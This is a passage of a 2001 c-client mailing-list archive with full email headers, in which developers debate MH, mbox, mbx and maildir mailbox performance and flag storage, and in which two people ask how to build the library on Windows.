by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UIdxn08856 for ; Thu, 30 Aug 2001 11:39:59 -0700 Received: FROM dag.newtech.fi BY mxu3.u.washington.edu ; Thu Aug 30 11:39:58 2001 -0700 Received: (qmail 607 invoked by uid 200); 30 Aug 2001 18:39:54 -0000 Message-Id: <20010830183954.606.qmail@dag.newtech.fi> Date: Thu, 30 Aug 2001 21:39:54 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: Mark Crispin Cc: Vadim Zeitlin , c-client@u.washington.edu, dag@newtech.fi Subject: Re: Re[2]: MH again In-Reply-To: Message from Mark Crispin of "Thu, 30 Aug 2001 11:23:57 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Thu, 30 Aug 2001 20:20:22 +0200 (CET), Vadim Zeitlin wrote: > > I wanted to ask this question since a long time ago, so please excuse me > > if it's slightly off topic to the current discussion: just why is there no > > support for these features in MH? How is it more difficult to support flags > > for MH than for MBOX, for example? MH is IMHO much better format than MBOX, > > but it is completely unusable in c-client :-( Why not enhance MH driver to > > store the flags in the MH files? > > There is no usable standard for storing c-client flags in mh, and more > importantly c-client can not unilaterally create one that will not be trashed > by a non-c-client mh application. > > I would certainly dispute the claim that mh is a "much better format than > mbox." Have you done performance testing with mh? It's very slow! > It is indeed, but it has some advantages which my users like, not in any particular order: 1. You can grep your mails searching for something 2. You can organize your mail in hierarchical structures (Probably the most important feature) 3. You can use the excellent exmh MUA when working locally I/they will change format anyday, when someone offers one with the same features. Dag From pinedev@shivax2.cac.washington.edu Thu Aug 30 11:42:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Aug 2001 11:42:23 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7UIgMn09556 for ; Thu, 30 Aug 2001 11:42:22 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 30 11:42:21 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7UIgIP32719; Thu, 30 Aug 2001 11:42:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UIg4X30744; Thu, 30 Aug 2001 11:42:05 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7UIeR051370 for ; Thu, 30 Aug 2001 11:40:27 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7UIeRT10855 for ; Thu, 30 Aug 2001 11:40:27 -0700 Received: FROM shiva.jussieu.fr BY mxu2.u.washington.edu ; Thu Aug 30 11:40:26 2001 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f7UIeMO81770 ; Thu, 30 Aug 2001 20:40:22 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f7UIeMS12083 ; Thu, 30 Aug 2001 20:40:22 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id UAA27204 ; Thu, 30 Aug 2001 20:40:21 +0200 Message-Id: <200108301840.UAA27204@seth.lpthe.jussieu.fr> Date: Thu, 30 Aug 2001 20:40:21 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu, Mark Crispin Subject: Re[4]: MH again In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Aug 2001 11:23:57 -0700 (PDT) Mark Crispin wrote: MC> There is no usable standard for storing c-client flags in mh, Why not use someone else's standard? There are a few quite nice MUAs for Unix which use MH as their (primary) mailbox format. E.g. I was using XFMail for a long time and it worked very nicely with MH (including flags, very fast access time &c). And all it did was to add "XFMStatus:" header to MH files. I know that Sylpheed also uses MH and I guess it supports flags for it as well, although I don't know how do they do it. MC> and more MC> importantly c-client can not unilaterally create one that will not be trashed MC> by a non-c-client mh application. Using "X-CC-Flags:" header should be sufficiently safe, no? Although, of course, being compatible with at least one other popular MH mailer would be nice. MC> I would certainly dispute the claim that mh is a "much better format than MC> mbox." Have you done performance testing with mh? It's very slow! Sorry, is it a joke? My main problem with c-client MBOXes is that opening them is *horribly* slow. XFMail was blazingly fast even compared to c-client MBX files (and I used both on the same computer, under the same OS and on the same partition) and fairly sized MBOXes are just unusable with c-client. Did you try opening an MBOX with ~10000 messages? It takes _ages_! And in XFMail I had no troubles at all with such folders (except that the stupid thing has a hardcoded limit of 12000 messages per mailbox). MH is not slow by itself, although c-client driver for it may be. However I'd like to know how can you open MBOX folder faster than MH one considering that you have to scan the entire file? Of course, if c-client maintained some sort of summary files for MBOXes it could be different (I'd really like to have time to do this one of these days...) but right now there is no local mailbox format in c-client which is usable for folders containing more than, let's be generous, 3000 messages. Regards, VZ From pinedev@shivax2.cac.washington.edu Fri Aug 31 03:55:37 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Aug 2001 03:55:36 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7VAtZn08228 for ; Fri, 31 Aug 2001 03:55:35 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Aug 31 03:55:35 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7VAtXP26870; Fri, 31 Aug 2001 03:55:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VAtEE22512; Fri, 31 Aug 2001 03:55:14 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7VAqi035758 for ; Fri, 31 Aug 2001 03:52:44 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VAqhn31006 for ; Fri, 31 Aug 2001 03:52:44 -0700 Received: FROM fep23-svc.tin.it BY mxu3.u.washington.edu ; Fri Aug 31 03:52:43 2001 -0700 Received: from host ([62.211.59.144]) by fep23-svc.tin.it (InterMail vM.4.01.03.13 201-229-121-113) with SMTP id <20010831105241.QLEG1196.fep23-svc.tin.it@host> for ; Fri, 31 Aug 2001 12:52:41 +0200 Message-Id: <001001c1320a$f28133e0$0500000a@lan> Date: Fri, 31 Aug 2001 12:51:46 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: To: Subject: info MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000D_01C1321B.B1B7C0C0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_000D_01C1321B.B1B7C0C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear developer, I'm Giovanni Papadia and i am a web-programmer. I have downloaded from ftp.cac.washington.edu/imap the library cclient. Now i need the necessaty to install this source on win98 operative = system to configure my php to used imap functions. Where can i find the instruction to install it?=20 ------=_NextPart_000_000D_01C1321B.B1B7C0C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Dear developer,
    I'm Giovanni Papadia and i am a=20 web-programmer.
    I have downloaded from ftp.cac.washington.edu/imap=20  the library cclient.
    Now i need the necessaty to = install=20 this source on win98 operative system to configure my php to used = imap=20 functions.
    Where can i find the = instruction to=20 install it? 
    ------=_NextPart_000_000D_01C1321B.B1B7C0C0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 31 08:40:08 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Aug 2001 08:40:08 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7VFe6n07445 for ; Fri, 31 Aug 2001 08:40:06 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Aug 31 08:40:05 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7VFe3B08682; Fri, 31 Aug 2001 08:40:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VFdiX09604; Fri, 31 Aug 2001 08:39:44 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7VFcO030894 for ; Fri, 31 Aug 2001 08:38:24 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VFcOT19545 for ; Fri, 31 Aug 2001 08:38:24 -0700 Received: FROM dsdm02002.public.datamedia.fr BY mxu2.u.washington.edu ; Fri Aug 31 08:38:23 2001 -0700 Received: by DSDM02002 with Internet Mail Service (5.5.2653.19) id ; Fri, 31 Aug 2001 17:38:22 +0200 Message-Id: <21ACBAE9C35CD311800D005004869A755E7AC2@DSDM02002> Date: Fri, 31 Aug 2001 17:38:21 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Emmanuel Sellier To: c-client Subject: Compile last IMAP2001 beta snap on NT platform - where is the SSP I lib ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm trying to upgrade to the last IMAP version, however i can't find the SSPI library to compile it on my Win NT platform. Where can i get it? (BTW, i use VisualStudio V5) Thanks Emmanuel -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 31 08:54:43 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Aug 2001 08:54:42 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7VFsen07152 for ; Fri, 31 Aug 2001 08:54:40 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Aug 31 08:54:39 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7VFsbP01798; Fri, 31 Aug 2001 08:54:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VFs1H37508; Fri, 31 Aug 2001 08:54:01 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7VFr2053884 for ; Fri, 31 Aug 2001 08:53:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VFr1q04063 for ; Fri, 31 Aug 2001 08:53:02 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu4.u.washington.edu ; Fri Aug 31 08:53:01 2001 -0700 Message-Id: Date: Fri, 31 Aug 2001 08:50:41 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Emmanuel Sellier Cc: c-client Subject: re: Compile last IMAP2001 beta snap on NT platform - where is the SSP I lib ? In-Reply-To: <21ACBAE9C35CD311800D005004869A755E7AC2@DSDM02002> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 31 Aug 2001 17:38:21 +0200, Emmanuel Sellier wrote: > I'm trying to upgrade to the last IMAP version, however i can't find the > SSPI library to compile it on my Win NT platform. > Where can i get it? (BTW, i use VisualStudio V5) You need Visual C++ 6.0, and probably also the Microsoft SDK for Windows 2000. From pinedev@shivax2.cac.washington.edu Fri Aug 31 08:55:05 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Aug 2001 08:55:04 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7VFt3n06103 for ; Fri, 31 Aug 2001 08:55:03 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Aug 31 08:55:03 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7VFt1B09207; Fri, 31 Aug 2001 08:55:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VFsuE23068; Fri, 31 Aug 2001 08:54:56 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7VFsN054982 for ; Fri, 31 Aug 2001 08:54:23 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VFsNq04514 for ; Fri, 31 Aug 2001 08:54:23 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu4.u.washington.edu ; Fri Aug 31 08:54:23 2001 -0700 Message-Id: Date: Fri, 31 Aug 2001 08:53:17 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: mirasoftp@tin.it Cc: c-client@u.washington.edu Subject: re: info In-Reply-To: <001001c1320a$f28133e0$0500000a@lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 31 Aug 2001 12:51:46 +0200, mirasoftp@tin.it wrote: > I have downloaded from ftp.cac.washington.edu/imap the library cclient. > Now i need the necessaty to install this source on win98 operative system to > configure my php to used imap functions. > Where can i find the instruction to install it? The file imap-????/docs/BUILD contains build instructions. You'll need Visual C++ 6.0 and probably also the Microsoft SDK for Windows 2000. From pinedev@shivax2.cac.washington.edu Fri Aug 31 09:05:17 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Aug 2001 09:05:11 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7VG5An32601 for ; Fri, 31 Aug 2001 09:05:10 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Aug 31 09:05:09 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7VG56B09605; Fri, 31 Aug 2001 09:05:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VG4qH34872; Fri, 31 Aug 2001 09:04:52 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7VG3q054988 for ; Fri, 31 Aug 2001 09:03:52 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VG3pq08975 for ; Fri, 31 Aug 2001 09:03:52 -0700 Received: FROM mail.takas.lt BY mxu4.u.washington.edu ; Fri Aug 31 09:03:51 2001 -0700 Received: from nerijus.sat.lt ([213.190.63.162]) by mail.takas.lt with Microsoft SMTPSVC(5.0.2195.2966); Fri, 31 Aug 2001 18:01:14 +0200 Received: (qmail 24962 invoked from network); 31 Aug 2001 15:50:49 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by 127.0.0.1 with SMTP; 31 Aug 2001 15:50:49 -0000 Message-Id: Date: Fri, 31 Aug 2001 17:50:40 +0200 (EET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nerijus Baliunas To: "c-client@u.washington.edu" Subject: Re[5]: MH again In-Reply-To: <200108301840.UAA27204@seth.lpthe.jussieu.fr> References: <200108301840.UAA27204@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-OriginalArrivalTime: 31 Aug 2001 16:01:15.0583 (UTC) FILETIME=[29E8CCF0:01C13236] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Aug 2001 20:40:21 +0200 (CET) Vadim Zeitlin wrote: VZ> MC> I would certainly dispute the claim that mh is a "much better format than VZ> MC> mbox." Have you done performance testing with mh? It's very slow! VZ> VZ> Sorry, is it a joke? My main problem with c-client MBOXes is that opening VZ> them is *horribly* slow. XFMail was blazingly fast even compared to VZ> c-client MBX files (and I used both on the same computer, under the same OS VZ> and on the same partition) and fairly sized MBOXes are just unusable with VZ> c-client. Did you try opening an MBOX with ~10000 messages? It takes VZ> _ages_! And in XFMail I had no troubles at all with such folders (except VZ> that the stupid thing has a hardcoded limit of 12000 messages per mailbox). VZ> VZ> MH is not slow by itself, although c-client driver for it may be. However VZ> I'd like to know how can you open MBOX folder faster than MH one VZ> considering that you have to scan the entire file? Of course, if c-client VZ> maintained some sort of summary files for MBOXes it could be different (I'd VZ> really like to have time to do this one of these days...) but right now VZ> there is no local mailbox format in c-client which is usable for folders VZ> containing more than, let's be generous, 3000 messages. Hello, Have you read http://www.courier-mta.org/mbox-vs-maildir/ ? There are some benchmarks, and it seems Mark's claims about maildir slowness are not true anymore (and maybe he accepts some patch for maildir support in c-client one of these days, although I doubt it...). Regards, Nerijus -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 31 09:20:37 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Aug 2001 09:20:34 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7VGKWn01101 for ; Fri, 31 Aug 2001 09:20:33 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Aug 31 09:20:31 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7VGKTP02799; Fri, 31 Aug 2001 09:20:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VGKOE25328; Fri, 31 Aug 2001 09:20:24 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7VGJj0113076 for ; Fri, 31 Aug 2001 09:19:45 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f7VGJj725677 for ; Fri, 31 Aug 2001 09:19:45 -0700 Received: FROM cowlick.vmtrc.ucdavis.edu BY mxu1.u.washington.edu ; Fri Aug 31 09:19:44 2001 -0700 Received: from localhost (hshervem@localhost) by cowlick.vmtrc.ucdavis.edu (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id JAA19337 for ; Fri, 31 Aug 2001 09:20:35 -0700 (PDT) Message-Id: Date: Fri, 31 Aug 2001 09:20:35 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Henry Shervem To: c-client@u.washington.edu Subject: remove from list MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 31 10:05:11 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Aug 2001 10:05:11 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7VH59n11669 for ; Fri, 31 Aug 2001 10:05:09 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Aug 31 10:05:08 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f7VH55P04387; Fri, 31 Aug 2001 10:05:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VH4vX04594; Fri, 31 Aug 2001 10:04:57 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7VH49030884 for ; Fri, 31 Aug 2001 10:04:09 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7VH49n17447 for ; Fri, 31 Aug 2001 10:04:09 -0700 Received: FROM Tomobiki-Cho.CAC.Washington.EDU BY mxu3.u.washington.edu ; Fri Aug 31 10:04:09 2001 -0700 Message-Id: Date: Fri, 31 Aug 2001 09:34:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nerijus Baliunas Cc: "c-client@u.washington.edu" Subject: re: Re[5]: MH again In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 31 Aug 2001 17:50:40 +0200 (EET), Nerijus Baliunas wrote: > Have you read http://www.courier-mta.org/mbox-vs-maildir/ ? Hardly an unbiased source. > There are some benchmarks, and it seems Mark's claims about maildir > slowness are not true anymore (and maybe he accepts some patch for > maildir support in c-client one of these days, although I doubt it...). There are lies, damn lies, and benchmarks. In this case, what the benchmark chooses to measure: what some MUA which was designed for maildir needs. My benchmarks use what is needed for IMAP. That is the only thing that is important to me. The simple fact is that it is impossible to do a basic IMAP operation (load mailbox message metadata) without opening every file in a maildir (or MH) mailbox and reading every byte. Not all systems are like Linux with fast file opens. On most UNIX systems, particularly those with robust filesystems, open() is a very expensive call. We're talking about each open() taking milliseconds. There is also additional disk seek time because each message is likely to be on a different spot on the disk (multiple files are naturally more likely to present a fragmented database over single files). True, in mbox format you also have to read every byte of the file. But, since it is one file, it is more likely to be contiguous on the disk, and there are no filesystem operations that need to be done. It is quite a bit faster than maildir or mh. But mbox format has not been the preferred format for over 10 years. It is the default format in UW imapd because it is the default format on UNIX. In the preferred mbx format (a different format than mbox), only the metadata needs to be read and not message data. It is much faster than mbox format, and allows shared access in ways that maildir can only fantasize about. In a proposed follow-on format to mbx, the metadata will be read even faster. The only way to maintain metadata in a one-file/one-message format is to have an flat index file, such as used by Cyrus, which contains all of the data used by IMAP. In such a mechanism, the actual message files are only ever used to get message text data, never to calculate metadata. This in turn means that most message files are never looked at or opened. You can't do an index file in mh, because other mh software doesn't use it. The index file mechanism depends upon all software using it, in order to avoid having to look at the message data to ensure that the metadata is up to date. You can't do an index file in maildir either, because maildir's entire purpose is to eliminate locking. An index file would sabotage maildir's sole benefit. Nor can you squeeze the index information into the filename. By the way, maildir's trick of putting a limited amount of metadata into the filename also is a performance issue, because most filesystems serialize directory operations. You can't generalize from Linux to other UNIX platforms. Nor can the filename hold all the needed metadata. There are three or four different maildir drivers for c-client written by maildir fans since I don't provide one. I've tested them all. None of them work well. All of them demonstrate the (slow) performance results that I report. Most importantly, all of them have been the cause of problem reports to me. Given that the maildir fan community can't write a working c-client maildir driver with reasonable performance, there is no reason to believe that a maildir skeptic such as myself would do any better. From pinedev@shivax2.cac.washington.edu Fri Aug 31 18:29:29 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 31 Aug 2001 18:29:29 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f811TSn18412 for ; Fri, 31 Aug 2001 18:29:28 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Aug 31 18:29:27 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.01/8.11.6+UW01.08) with ESMTP id f811TPB28577; Fri, 31 Aug 2001 18:29:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f811SjH34882; Fri, 31 Aug 2001 18:28:45 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f811Pv085560 for ; Fri, 31 Aug 2001 18:25:57 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f811Pvn15668 for ; Fri, 31 Aug 2001 18:25:57 -0700 Received: FROM mail.takas.lt BY mxu3.u.washington.edu ; Fri Aug 31 18:25:56 2001 -0700 Received: from nerijus.sat.lt ([212.59.25.160]) by mail.takas.lt with Microsoft SMTPSVC(5.0.2195.2966); Sat, 1 Sep 2001 03:24:04 +0200 Received: (qmail 26716 invoked from network); 1 Sep 2001 01:24:43 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 1 Sep 2001 01:24:43 -0000 Message-Id: Date: Sat, 1 Sep 2001 03:24:37 +0200 (EET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nerijus Baliunas To: "c-client@u.washington.edu" Subject: Re[7]: MH again In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-OriginalArrivalTime: 01 